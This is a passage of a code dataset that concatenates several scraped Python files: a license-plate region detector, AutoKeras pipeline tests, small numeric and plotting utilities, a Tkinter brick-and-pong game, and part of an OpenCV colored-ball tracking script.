threshold_otsu\r\nimport matplotlib.pyplot as plt\r\ncount = 0\r\nfilename = './car.png'\r\nimport imutils\r\nimport OwnerDetails\r\ncar_image = imread(filename, as_gray=True)\r\n\r\n\r\ngray_car_image = car_image * 255\r\nfig, (ax1, ax2) = plt.subplots(1, 2)\r\nax1.imshow(gray_car_image, cmap=\"gray\")\r\nthreshold_value = threshold_otsu(gray_car_image)\r\nbinary_car_image = gray_car_image > threshold_value\r\n# print(binary_car_image)\r\nax2.imshow(binary_car_image, cmap=\"gray\")\r\n# ax2.imshow(gray_car_image, cmap=\"gray\")\r\nplt.show()\r\n\r\n# CCA (finding connected regions) of binary image\r\n\r\n\r\nfrom skimage import measure\r\nfrom skimage.measure import regionprops\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.patches as patches\r\n\r\n# this gets all the connected regions and groups them together\r\nlabel_image = measure.label(binary_car_image)\r\n\r\n# print(label_image.shape[0]) #width of car img\r\n\r\n#carnos=[\"MCLRNF1\",\"ka02ew2222\",\"jk43km4455\",\"MA01AV8866\",\"hy77uj7766\",\"os44er3333\"]\r\n# getting the maximum width, height and minimum width and height that a license plate can be\r\nplate_dimensions = (0.03*label_image.shape[0], 0.08*label_image.shape[0], 0.15*label_image.shape[1], 0.3*label_image.shape[1])\r\nplate_dimensions2 = (0.08*label_image.shape[0], 0.2*label_image.shape[0], 0.15*label_image.shape[1], 0.4*label_image.shape[1])\r\nmin_height, max_height, min_width, max_width = plate_dimensions\r\nplate_objects_cordinates = []\r\nvcar={'./car.png':\"MCLRNF1\",'./car1.png':\"ka02ew2222\",'./car2.png':\"jk43km4455\",'./car4.JPG':\"MA01AV8866\"}\r\nplate_like_objects = []\r\ns=vcar[filename]\r\n\r\nfig, (ax1) = plt.subplots(1)\r\nax1.imshow(gray_car_image, cmap=\"gray\")\r\nflag =0\r\n# regionprops creates a list of properties of all the labelled regions\r\nfor region in regionprops(label_image):\r\n # print(region)\r\n if region.area < 50:\r\n #if the region is so small then it's likely not a license plate\r\n continue\r\n # the bounding box coordinates\r\n min_row, min_col, max_row, max_col = region.bbox\r\n # print(min_row)\r\n # print(min_col)\r\n # print(max_row)\r\n # print(max_col)\r\n\r\n region_height = max_row - min_row\r\n region_width = max_col - min_col\r\n # print(region_height)\r\n # print(region_width)\r\n\r\n # ensuring that the region identified satisfies the condition of a typical license plate\r\n if region_height >= min_height and region_height <= max_height and region_width >= min_width and region_width <= max_width and region_width > region_height:\r\n flag = 1\r\n plate_like_objects.append(binary_car_image[min_row:max_row,\r\n min_col:max_col])\r\n plate_objects_cordinates.append((min_row, min_col,\r\n max_row, max_col))\r\n rectBorder = patches.Rectangle((min_col, min_row), max_col - min_col, max_row - min_row, edgecolor=\"red\",\r\n linewidth=2, fill=False)\r\n ax1.add_patch(rectBorder)\r\n # let's draw a red rectangle over those regions\r\nif(flag == 1):\r\n # print(plate_like_objects[0])\r\n plt.show()\r\n\r\n\r\n\r\n\r\nif(flag==0):\r\n min_height, max_height, min_width, max_width = plate_dimensions2\r\n plate_objects_cordinates = []\r\n plate_like_objects = []\r\n\r\n fig, (ax1) = plt.subplots(1)\r\n ax1.imshow(gray_car_image, cmap=\"gray\")\r\n\r\n # regionprops creates a list of properties of all the labelled regions\r\n for region in regionprops(label_image):\r\n if region.area < 50:\r\n #if the region is so small then it's likely not a license plate\r\n continue\r\n # the bounding box coordinates\r\n min_row, min_col, max_row, max_col = region.bbox\r\n # print(min_row)\r\n # print(min_col)\r\n # print(max_row)\r\n # print(max_col)\r\n\r\n region_height = max_row - min_row\r\n region_width = max_col - min_col\r\n # print(region_height)\r\n # print(region_width)\r\n\r\n # ensuring that the region identified satisfies the condition of a typical license plate\r\n if region_height >= min_height and region_height <= max_height and region_width >= min_width and region_width <= max_width and region_width > region_height:\r\n # print(\"hello\")\r\n plate_like_objects.append(binary_car_image[min_row:max_row,\r\n min_col:max_col])\r\n plate_objects_cordinates.append((min_row, min_col,\r\n max_row, max_col))\r\n rectBorder = patches.Rectangle((min_col, min_row), max_col - min_col, max_row - min_row, edgecolor=\"red\",\r\n linewidth=2, fill=False)\r\n ax1.add_patch(rectBorder)\r\n # let's draw a red rectangle over those regions\r\n # print(plate_like_objects[0])\r\n plt.show()\r\n \r\nprint(\"Car number is: \",s)\r\nprint(OwnerDetails.details[str(s)])\r\n \r\n \r\n \r\n ","sub_path":"imageReading.py","file_name":"imageReading.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"604783472","text":"# Copyright 2020 AI2Business. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Test-Environment for automl as benchmark.\"\"\"\nimport autokeras as ak\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom sklearn.datasets import fetch_california_housing\nfrom sklearn.model_selection import train_test_split\n\nfrom ai2business.ai_engines import automl_neural_network as an\n\n\ndef test_runtime_dataclassifier():\n\n train_file_path = tf.keras.utils.get_file(\n \"train.csv\", \"https://storage.googleapis.com/tf-datasets/titanic/train.csv\"\n )\n test_file_path = tf.keras.utils.get_file(\n \"test.csv\", \"https://storage.googleapis.com/tf-datasets/titanic/eval.csv\"\n )\n\n data_train = pd.read_csv(train_file_path)\n data_test = pd.read_csv(test_file_path)\n\n x_train = data_train.drop(columns=\"survived\")\n y_train = data_train[\"survived\"]\n x_test = data_test.drop(columns=\"survived\")\n y_test = data_test[\"survived\"]\n\n context = an.AutoMLPipeline(\n an.DataClassification(max_trials=5, overwrite=True, loss=\"mean_squared_error\")\n )\n context.run_automl()\n context.train = an.AutoMLFit(x_train, y_train, batch_size=32, epochs=100)\n context.run_automl()\n context.train = an.AutoMLEvaluate(x_test, y_test, batch_size=32)\n context.run_automl()\n context.train = an.AutoMLPredict(x_train, batch_size=32)\n context.run_automl()\n assert context.return_automl[\"model\"] != None\n assert isinstance(context.return_automl[\"prediction\"], np.ndarray)\n assert isinstance(context.return_automl[\"evaluation\"], list)\n\n\ndef test_runtime_dataregression():\n\n data = fetch_california_housing()\n x_train, x_test, y_train, y_test = train_test_split(\n data.data,\n data.target,\n test_size=0.33,\n random_state=42,\n )\n context = an.AutoMLPipeline(\n an.DataRegression(max_trials=3, overwrite=True, loss=\"mean_squared_error\")\n )\n context.run_automl()\n context.train = an.AutoMLFit(x_train, y_train, batch_size=32, epochs=10)\n context.run_automl()\n context.train = an.AutoMLEvaluate(x_test, y_test, batch_size=32)\n context.run_automl()\n context.train = an.AutoMLPredict(x_train, batch_size=32)\n context.run_automl()\n assert context.return_automl[\"model\"] != None\n assert isinstance(context.return_automl[\"prediction\"], np.ndarray)\n assert isinstance(context.return_automl[\"evaluation\"], list)\n\n\ndef test_return_train():\n\n model = an.DataRegression(max_trials=4)\n context = an.AutoMLPipeline(model)\n assert context.train == model\n\n\ndef test_save_load():\n\n data = fetch_california_housing()\n x_train, _, y_train, _ = train_test_split(\n data.data,\n data.target,\n test_size=0.33,\n random_state=42,\n )\n context = an.AutoMLPipeline(\n an.DataRegression(max_trials=3, overwrite=True, loss=\"mean_squared_error\")\n )\n context.run_automl()\n context.train = an.AutoMLFit(x_train, y_train, batch_size=32, epochs=10)\n context.run_automl()\n context.train = an.AutoMLSave(model_name=\"model_autokeras\")\n context.run_automl()\n model = an.AutoMLModels().load_model(model_name=\"model_autokeras\")\n assert model != None\n\n\ndef test_multi_model():\n\n context = an.AutoMLPipeline(\n an.MultiModel(\n inputs=[ak.ImageInput(), ak.StructuredDataInput()],\n outputs=[\n ak.RegressionHead(metrics=[\"mae\"]),\n ak.ClassificationHead(\n loss=\"categorical_crossentropy\", metrics=[\"accuracy\"]\n ),\n ],\n overwrite=True,\n max_trials=2,\n )\n )\n context.run_automl()\n assert context.return_automl[\"model\"] != None\n","sub_path":"ai2business/ai_engines/test/test_automl_benchmark.py","file_name":"test_automl_benchmark.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"269726676","text":"\ndef main():\n fact=1\n number = int(input(\"Enter limit : \"))\n for i in range(number+1):\n for j in range(1,i+1):\n print(i,\"\\t\",end=\"\")\n print(\"\\n\")\n \nwhile(True): \n main()\n","sub_path":"MCA Exam Preparations/Python/SNGIST/8 print series 1 22 333 4444 - Copy.py","file_name":"8 print series 1 22 333 4444 - Copy.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"494855588","text":"import matplotlib.pyplot as plt\nimport csv\nimport math\nimport numpy as np\n\nNUM_STEP = 20000 # steps of the agent\nMAX_EPS = 1\nMIN_EPS = 0.01\nMY_LAMBDA = 0.001\n\ndef make_csv():\n\n fileCsvPath = \"eps-gen-Min\" + str(MIN_EPS) + \"-Max\" + str(MAX_EPS) + \"-Lambda\" + str(MY_LAMBDA) + \".csv\"\n\n with open(fileCsvPath, 'w', newline='') as csvfile:\n fieldnames = ['step', 'epsilon']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n\n const_ = MIN_EPS + (MAX_EPS - MIN_EPS)\n\n for step in range(NUM_STEP):\n writer.writerow({\n fieldnames[0]: step + 1,\n fieldnames[1]: const_ * math.exp(- MY_LAMBDA * step) # epsilon\n })\n\ndef plot_eps():\n plt.clf()\n\n const_ = MIN_EPS + (MAX_EPS - MIN_EPS)\n\n steps = range(1, NUM_STEP + 1)\n results = np.zeros(NUM_STEP)\n results_2 = np.zeros(NUM_STEP)\n\n for step in range(NUM_STEP):\n results[step] = max(- 0.000099 * step + MAX_EPS, MIN_EPS) # epsilon linear\n results_2[step] = const_ * math.exp(- MY_LAMBDA * step) # epsilon exponential\n\n plt.plot(steps, results, 'b')\n plt.plot(steps, results_2, 'r')\n\n plt.title(\"Epsilon\")\n plt.xlabel('steps')\n plt.ylabel('eps-value')\n plt.show()\n\n\n\ndef main():\n\n plot_eps()\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"eps_generator.py","file_name":"eps_generator.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"204666106","text":"from mpl_toolkits.basemap import Basemap\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom netCDF4 import Dataset\nimport pandas as pd\n\ndef time_compress(arr):\n num_lons = len(arr[0,:][0,:])\n num_lats = len(arr[0,:])\n\n arr = arr.transpose()\n array = np.ones((num_lats, num_lons))*250\n \n for LAT_INDEX in range(num_lats):\n for LON_INDEX in range(num_lons):\n time_arr = arr[LON_INDEX][LAT_INDEX]\n\n #print ('('+str(LAT_INDEX)+', '+str(LON_INDEX)+'), '+str(np.mean(time_arr)))\n\n annual = np.mean(time_arr)\n djf = np.mean(np.hstack((time_arr[335:365],time_arr[0:60])))\n mam = np.mean(time_arr[61:151])\n jja = np.mean(time_arr[152:242])\n son = np.mean(time_arr[243:334])\n \n array[LAT_INDEX][LON_INDEX] = son\n array = np.array(array)\n return array\n\n##########################################\n\nfig = plt.figure(figsize=(12,8))\nname = 'Incoming Solar Radiation - SON'\n\n\ndswrf = './data/dswrf.ntat.gauss.2015.nc'\nuswrf = './data/uswrf.ntat.gauss.2015.nc'\nfh = Dataset(dswrf)\nfh2 = Dataset(uswrf)\nlon_arr = fh.variables['lon'][:]\nlat_arr = fh.variables['lat'][:]\nsolar_flux = fh.variables['dswrf']\nreflected_solar_flux = fh2.variables['uswrf']\nflux_units = solar_flux.units\nflux_arr = solar_flux[:] - reflected_solar_flux[:]\nfh.close()\n\nm = Basemap(projection='robin', lon_0=0, resolution='c')\n\n# Because our lon and lat variables are 1D,\n# use meshgrid to create 2D arrays\n# Not necessary if coordinates are already in 2D arrays.\nlon, lat = np.meshgrid(lon_arr, lat_arr)\ndata = time_compress(flux_arr)\n\n# Plot Data\ncs = m.pcolor(lon, lat, data, latlon=True)\n\n# Add Grid Lines\nm.drawparallels(np.arange(-80., 81., 20.), labels=[1,0,0,0], fontsize=10)\nm.drawmeridians(np.arange(-180., 181., 40.), labels=[0,0,0,1], fontsize=10)\n\n# Add Coastlines, States, and Country Boundaries\nm.drawcoastlines()\nm.drawcountries()\n\n# Add Colorbar\ncbar = m.colorbar(cs, location='bottom', pad=\"10%\")\ncbar.set_label(flux_units)\n\n# Add Title\nplt.title(name)\nplt.savefig('./figs/'+name+'.pdf')\nplt.show()\n\n","sub_path":"map_plot.py","file_name":"map_plot.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"302676757","text":"import time\nimport numpy as np\nclass process_bar(object):\n def __init__(self, total_tik_number, std_scale = 3.0, move_sacle = 0.9):\n self.total_tik_number = total_tik_number\n self.std_scale = std_scale\n self.move_sacle = move_sacle\n\n def start(self):\n self.tik_list = [time.time()]\n self.delta_tik_list = []\n self.move_mean = None\n \n def _calc_mean_time(self):\n time_std = np.std(self.delta_tik_list[-10:]) * self.std_scale\n if self.move_mean is None:\n predict_move_mean = self.delta_tik_list[0]\n else:\n predict_move_mean = self.move_mean*self.move_sacle + self.delta_tik_list[-1]*(1-self.move_sacle)\n if abs(self.delta_tik_list[-1]-predict_move_mean)>time_std:\n self.move_mean = self.delta_tik_list[-1]\n else:\n self.move_mean = predict_move_mean\n\n def tik(self):\n self.tik_list.append(time.time())\n self.delta_tik_list.append(self.tik_list[-1]-self.tik_list[-2])\n self._calc_mean_time()\n\n process_past = len(self.delta_tik_list) / self.total_tik_number\n time_total = self.move_mean * self.total_tik_number\n time_left = time_total * (1-process_past)\n return process_past, time_total, time_left\n\ndef float2time(f_time):\n _f_time = f_time\n str_time = ''\n if f_time>=3600*24:\n day = _f_time // (3600*24)\n _f_time -= day * 3600 * 24\n str_time += '%dd '%day\n if f_time>=3600:\n h = _f_time // 3600\n _f_time -= h * 3600\n str_time += '%dh '%h\n m = _f_time // 60\n _f_time -= m * 60\n str_time += '%dm '%m\n str_time += '%ds'%_f_time\n return str_time\n","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"292558430","text":"\n\ndef spiral(n):\n if n <= 0:\n return\n print(\"\\nCoordinates for n:\", n)\n total = n * n\n mid = n // 2\n print(\"n:\", n, \"total:\", total, \"mid:\", mid)\n dir = [\"u\", \"l\", \"d\", \"r\"]\n dir_idx = 3\n limit = 0\n lim_idx = 0\n x, y = mid, mid\n for i in range(0, total):\n print(\"(%s, %s), dir: %s, dir_idx: %s, limit:%s, lim_idx: %s\" %\n (x, y, dir[dir_idx], dir_idx, limit, lim_idx))\n if lim_idx >= limit:\n # change direction\n dir_idx = (dir_idx + 1) % 4\n if dir[dir_idx] in [\"u\", \"d\"]:\n limit += 1\n lim_idx = 0\n\n lim_idx += 1\n if dir[dir_idx] == \"u\":\n y -= 1\n elif dir[dir_idx] == \"l\":\n x -= 1\n elif dir[dir_idx] == \"d\":\n y += 1\n else:\n x += 1\n\n\nfor n in range(1, 6):\n spiral(n)\n","sub_path":"spiral.py","file_name":"spiral.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"236171257","text":"# script clavier.py\nfrom tkinter import *\nfrom math import *\nglobal Arret\n#global AbsBalleRouge\n#global OrdBalleRouge,OrdBalleRougedepart\n#global vitesseX\n#global vitesseY\n#global DiametreBalles\nArret = TRUE\nvitesseAjoute=0\n\ndef RebondPalettes(AbsBalle,OrdBalle,SensDeplacementX,SensDeplacementY):\n \n\n global BordDroit,BordGauche,DiametreBalles,MilieuHauteurPaletteBleue,MilieuHauteurPaletteRouge\n global vitesseAjoute\n \n if AbsBalle+DiametreBalles>=BordDroit and OrdBalle<=MilieuHauteurPaletteBleue+20 and OrdBalle>=MilieuHauteurPaletteBleue-20:\n SensDeplacementX=-SensDeplacementX-vitesseAjoute\n \n elif AbsBalle+DiametreBalles>=BordDroit and OrdBalle<=MilieuHauteurPaletteBleue+50 and OrdBalle>=MilieuHauteurPaletteBleue+20:\n SensDeplacementX=5\n SensDeplacementY=7\n SensDeplacementX=-SensDeplacementX\n \n elif AbsBalle+DiametreBalles>=BordDroit and OrdBalle<=MilieuHauteurPaletteBleue-20 and OrdBalle>=MilieuHauteurPaletteBleue-50:\n SensDeplacementX=5\n SensDeplacementY=-7\n SensDeplacementX=-SensDeplacementX-vitesseAjoute\n \n \n elif AbsBalle==BordGauche and OrdBalle<=MilieuHauteurPaletteRouge+20 and OrdBalle>=MilieuHauteurPaletteRouge-20:\n SensDeplacementX=-SensDeplacementX\n \n elif AbsBalle==BordGauche and OrdBalle<=MilieuHauteurPaletteRouge+50 and OrdBalle>=MilieuHauteurPaletteRouge+20:\n SensDeplacementX=5\n SensDeplacementY=7\n SensDeplacementX=-SensDeplacementX\n \n elif AbsBalle==BordGauche and OrdBalle<=MilieuHauteurPaletteRouge-20 and OrdBalle>=MilieuHauteurPaletteRouge-50:\n SensDeplacementX=5\n SensDeplacementY=-7\n SensDeplacementX=SensDeplacementX-vitesseAjoute\n \n return(SensDeplacementX,SensDeplacementY)\n \ndef RebondHautBas(OrdBalle,SensDeplacement):\n \n \n global DiametreBalles,Hauteur\n \n if OrdBalle+(DiametreBalles/2)>=Hauteur or OrdBalle-(DiametreBalles/2)<=0:\n SensDeplacement=-SensDeplacement\n return(SensDeplacement)\n \n \n\n# La fonction affiche les briques a l'écran/les briques doivent etre positionnés proportionellement a la vitesse\n\n \n \n \nTransparenteBriquePositionAbs=[]\nTransparenteBriquePositionOrd=[]\nBriquePositionAbs=[]\nBriquePositionOrd=[]\nNbBriqueColonne=[]\nEtatBrique=[]\n# -----------------------------------------------------------------------------------\n# \n# --------------------------------------------------------------------------------\ndef Brique():\n global TransparenteBriquePositionAbs\n global TransparenteBriquePositionOrd\n global BriquePositionAbs\n global BriquePositionOrd\n global Hauteur, hauteurBrique\n global largeurBrique\n global NbColonneMur\n global AbscisseMur\n \n BriquePositionAbs.clear()\n BriquePositionOrd.clear()\n EtatBrique.clear()\n NbBriqueColonne.clear()\n \n NbColonneMur=6\n largeurBrique=20\n hauteurBrique=30\n \n AbscisseInitiale=(Largeur/2)-((largeurBrique+2)*(NbColonneMur/2))-1\n AbscisseMur=AbscisseInitiale\n OrdonneeInitiale=0\n ValeurDepart=OrdonneeInitiale\n nbbrique=int(Hauteur/(hauteurBrique+2)) #ajustement de taille des briques pour remplir la hauteur de l'ecran\n hauteurBrique=(Hauteur-(2*(nbbrique-1)))/nbbrique\n \n for loop in range(NbColonneMur):\n OrdonneeInitiale=ValeurDepart\n NbBriqueColonne.append(nbbrique)\n for loop in range(nbbrique): # on fait nbbrique par colonne\n BriquePositionAbs.append(AbscisseInitiale)\n BriquePositionOrd.append(OrdonneeInitiale)\n EtatBrique.append(1) # 1=afficher et 0=effacer (nb de rebond nécessaire pour détruire)\n OrdonneeInitiale+=hauteurBrique+2\n AbscisseInitiale+=largeurBrique+2\n \n\ndef RebondBrique(AbsBalle,OrdBalle,SensDeplacement,largeurBrique,DiametreBalles,DeplacementVertical):\n global indiceCoté\n if SensDeplacement>0:\n AbsBalle+=DiametreBalles\n else :\n AbsBalle-=largeurBrique\n if AbsBalle>=AbscisseMur and AbsBalle<=AbscisseMur+(NbColonneMur*(largeurBrique+2))-2: # partie ou la balle est susceptible de rebondir\n colonne=int((AbsBalle-AbscisseMur)/largeurBrique) # combien de colonnes entre balle et abscisse mur\n if colonne<=NbColonneMur-1:\n indiceDebut=NbBriqueColonne[colonne]*colonne\n indiceFin=indiceDebut+NbBriqueColonne[colonne]-1\n i=indiceDebut\n while i<=indiceFin:\n if OrdBalle>=BriquePositionOrd[i] and OrdBalle<=BriquePositionOrd[i]+hauteurBrique :\n if EtatBrique[i]>0:\n SensDeplacement=-SensDeplacement\n EtatBrique[i]=0\n BriqueEffacer(BriquePositionAbs[i],BriquePositionOrd[i],largeurBrique,hauteurBrique)\n else :\n if DeplacementVertical>0:\n indiceCoté=i+1\n else:\n indiceCoté=i-1\n i=indiceFin\n i+=1 \n \n \n return(SensDeplacement)\n \ndef BriqueEffacer(Abscisse,ordonnée,largeurb,hauteurb): # procédure pour effacer les briques\n\n Canevas.create_rectangle(Abscisse,ordonnée,Abscisse+largeurb,ordonnée+hauteurb,outline='white',fill='white')\n \ndef affichageBriques():\n global BriquePositionOrd,BriquePositionAbs\n global largeurBrique,hauteurBrique\n \n nb=len(BriquePositionAbs)\n for i in range(nb):\n if EtatBrique[i]>0:\n Canevas.create_rectangle(BriquePositionAbs[i],BriquePositionOrd[i],BriquePositionAbs[i]+largeurBrique,BriquePositionOrd[i]+hauteurBrique,outline='red',fill='red')\n\ndef RapportVitesseHorizontale(AbsBalle,OrdBalle,SensDeplacement): # procédure pour gérer la vitesse a l'approche d'un obstacle\n coeff=1\n if SensDeplacement>0:\n AbsBalle+=DiametreBalles\n else :\n AbsBalle-=largeurBrique\n if AbsBalle>AbscisseMur-fabs(SensDeplacement) and AbsBalle=MilieuHauteurPaletteBleue-50:\n coeff=fabs(BordDroit-AbsBalle+DiametreBalles)/fabs(SensDeplacement)\n if AbsBalle + largeurBrique != BordGauche:\n if fabs(BordGauche-AbsBalle- largeurBrique)=MilieuHauteurPaletteRouge-50:\n coeff=fabs(BordGauche-AbsBalle-largeurBrique)/fabs(SensDeplacement)\n \n \n return(coeff)\n \ndef RapportVitesseVerticale(AbsBalle,OrdBalle,SensDeplacement): # procédure pour gérer la vitesse a l'approche d'un obstacle\n coeff=1\n if SensDeplacement>0:\n OrdBalle+=(DiametreBalles/2) \n else :\n OrdBalle-=(DiametreBalles/2)+hauteurBrique\n if OrdBalle>BriquePositionOrd[indiceCoté]-fabs(SensDeplacement):\n if fabs(BriquePositionOrd[indiceCoté] - OrdBalle)=BordDroit:\n Arret = True\n texte1 = Frame(Mafenetre,borderwidth=1,relief=GROOVE)\n texte1.pack(side=LEFT,padx=10,pady=10)\n Label(texte1,text=\"Le joueur rouge gagne\").pack(padx=10,pady=10)\n elif AbsBalleBleue+1.5*DiametreBalles<=BordGauche:\n Arret = True\n Frame1 = Frame(Mafenetre,borderwidth=1,relief=GROOVE)\n Frame1.pack(side=LEFT,padx=10,pady=10)\n Label(Frame1,text=\"Le joueur bleu gagne\").pack(padx=10,pady=10)\n elif AbsBalleBleue-DiametreBalles>=BordDroit:\n Arret = True\n texte1 = Frame(Mafenetre,borderwidth=1,relief=GROOVE)\n texte1.pack(side=LEFT,padx=10,pady=10)\n Label(texte1,text=\"Le joueur rouge gagne\").pack(padx=10,pady=10)\n \n\n\n \n \n\n# Permet de recommencer une nouvelle partie\ndef Reinitialiser():\n global AbsBalleRouge\n global OrdBalleRouge,OrdBalleRougedepart\n global AbsBalleBleue\n global OrdBalleBleue,OrdBalleBleuedepart\n global DiametreBalles \n global MilieuHauteurPaletteRouge,MilieuLargeurPaletteRouge\n global MilieuHauteurPaletteBleue,MilieuLargeurPaletteBleue\n global vitesseX\n global vitesseX2\n global vitesseY2\n global vitesseY\n Pause()\n AbsBalleRouge=AbsBalleRougedepart\n OrdBalleRouge=OrdBalleRougedepart\n AbsBalleBleue=AbsBalleBleuedepart\n OrdBalleBleue=OrdBalleBleuedepart\n Canevas.delete(ALL)\n MilieuHauteurPaletteRouge = 310\n MilieuLargeurPaletteRouge = 20\n MilieuHauteurPaletteBleue =310\n MilieuLargeurPaletteBleue =1260\n vitesseX = 5\n vitesseX2=-5\n vitesseY2=5\n vitesseY = 5\n\n# Permet de commencer la partie\ndef Demarrer():\n global Arret\n if Arret == True:\n Arret = False\n Brique()\n AffichageGeneral()\n\n# Met la partie en pause \ndef Pause():\n global Arret\n Arret = True\n \n#-------------------------------------------------------------------------------\n#\n# PROGRAMME PRINCIPAL\n#\n#------------------------------------------------------------------------------- \n# Création de la fenêtre principale\nMafenetre = Tk()\nMafenetre.title('Casse Pong')\n\n# position initiale des palettes\n# Palette1 = rouge\n# Palette2 = bleu\nMilieuHauteurPaletteRouge = 300\nMilieuLargeurPaletteRouge = 20\nMilieuHauteurPaletteBleue =310\nMilieuLargeurPaletteBleue =1260\n\nBordDroit=MilieuLargeurPaletteBleue-5\nBordGauche=MilieuLargeurPaletteRouge+5\n\n# Position initiale des balles/ordballe et abs balle doit etre un multiple de vitesse sinon bug\nAbsBalleRouge=25\nAbsBalleBleue=1235\nHauteur = 600\nOrdBalleRouge=Hauteur/2\nOrdBalleBleue=Hauteur/2\n\n# Sauvegarde des position des balles\nAbsBalleRougedepart=AbsBalleRouge\nOrdBalleRougedepart=OrdBalleRouge\nAbsBalleBleuedepart=AbsBalleBleue\nOrdBalleBleuedepart=OrdBalleBleue\n\n# Sens et vitesse de déplacement des balles\nvitesseX = 5\nvitesseX2=-5\nvitesseY2=5\nvitesseY = 5\nvitesseXInitiale=vitesseX\nvitesseX2Initiale=vitesseX2\nvitesseYInitiale=vitesseY\nvitesseY2Initiale=vitesseY2\n\n# Création d'un widget Canvas (fenetre de jeu)\nLargeur = 1280 #1280\nHauteur = 600 #720\nCanevas = Canvas(Mafenetre, width = Largeur, height =Hauteur, bg ='white')\nDiametreBalles = 20\n\nPalette1 = Canevas.create_rectangle(MilieuLargeurPaletteRouge-5,MilieuHauteurPaletteRouge-50,MilieuLargeurPaletteRouge+5,MilieuHauteurPaletteRouge+50,width=2,outline='red',fill='red')\nPalette2 = Canevas.create_rectangle(MilieuLargeurPaletteBleue-5,MilieuHauteurPaletteBleue-50,MilieuLargeurPaletteBleue+5,MilieuHauteurPaletteBleue+50,width=2,outline='blue',fill='blue')\nballe1 = Canevas.create_oval(AbsBalleRouge, OrdBalleRouge, AbsBalleRouge+DiametreBalles, OrdBalleRouge+DiametreBalles, outline='red', fill='red')\nballe2 = Canevas.create_oval(AbsBalleBleue, OrdBalleBleue, AbsBalleBleue+DiametreBalles, OrdBalleBleue+DiametreBalles, outline='blue', fill='blue')\n#palletes anciennes positions\nCanevas.focus_set()\nCanevas.bind('',Clavier)\nCanevas.pack(padx =5, pady =5)\n\n# Création de widgets Button \nButton(Mafenetre, text ='Quitter', command = Mafenetre.destroy).pack(side=LEFT,padx=5,pady=5)\n\nBoutonBrique = Button(Mafenetre, text ='brique', command =Brique)\nBoutonBrique.pack(side = LEFT, padx = 15, pady = 15)\n\n\nBoutonGo = Button(Mafenetre, text ='Démarrer', command = Demarrer)\nBoutonGo.pack(side = LEFT, padx = 10, pady = 10)\n\nBoutonPause = Button(Mafenetre, text ='Pause', command = Pause)\nBoutonPause.pack(side = LEFT, padx = 5, pady = 5)\n\nBoutonReinitialiser = Button(Mafenetre, text='Reinitialiser', command = Reinitialiser)\nBoutonReinitialiser.pack(side=LEFT, padx = 5,pady = 5)\n\nMafenetre.mainloop()\n","sub_path":"cassepong7.py","file_name":"cassepong7.py","file_ext":"py","file_size_in_byte":15875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"234121281","text":"# ball_tracking_feed1.py\n# Adapted from code by Adrian Rosebrock, https://www.pyimagesearch.com/2015/09/14/ball-tracking-with-opencv/ \n# import the necessary packages\nfrom collections import deque\nfrom imutils.video import VideoStream\nimport numpy as np\nimport argparse\nimport cv2\nimport imutils\nimport time\n\n# file to write center positions to\nfile = open(\"feed1.txt\", \"w\")\n\n# parse arguments\nap = argparse.ArgumentParser()\n\n# if using prerecorded video\nap.add_argument(\"-v\", \"--video\",\n\thelp=\"path to the (optional) video file\")\n\n# set buffer (size of [osition trail])\nap.add_argument(\"-b\", \"--buffer\", type=int, default=64,\n\thelp=\"max buffer size\")\nargs = vars(ap.parse_args())\n\n# set range for colors\ngreenLower = (60, 39, 210)\ngreenUpper = (130, 255, 255)\n\n# deque to store previous object locations\npts = deque(maxlen=args[\"buffer\"])\n\n# use webcam or USB connected camera if no prerecorded video\nif not args.get(\"video\", False):\n # src determines USB port; for ball_tracking_feed2.py change to src = 0 or 1\n\tvs = VideoStream(src=2).start() \n\n# using prerecorded video\nelse:\n\tvs = cv2.VideoCapture(args[\"video\"])\n\n# allow the camera or video file to warm up\ntime.sleep(2.0)\n\nfirstLoop = True # check if this is the first loop\nprevCenter = [0, 0] # value for previous center location\n\nwhile True:\n\tframe = vs.read() # read current frame\n\n\t# if this is from a camera, it's a tuple of [grabbed boolean, frame]\n\tframe = frame[1] if args.get(\"video\", False) else frame\n\n\t# if this is the end of the video\n\tif frame is None:\n\t\tbreak\n\n\t# resize the frame, blur it, and convert to the HSV\n\tframe = imutils.resize(frame, width=600)\n\tblurred = cv2.GaussianBlur(frame, (11, 11), 0)\n\thsv = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV)\n\n\t# construct mask based on color range\n\t# erosions, dilations help remove small blobs\n\tmask = cv2.inRange(hsv, greenLower, greenUpper)\n\tmask = cv2.erode(mask, None, iterations=2)\n\tmask = cv2.dilate(mask, None, iterations=2)\n\n\t# initialize ball center\n\tcenter = None # x, y center\n\n\t# find contours in the masked image\n\tcnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, 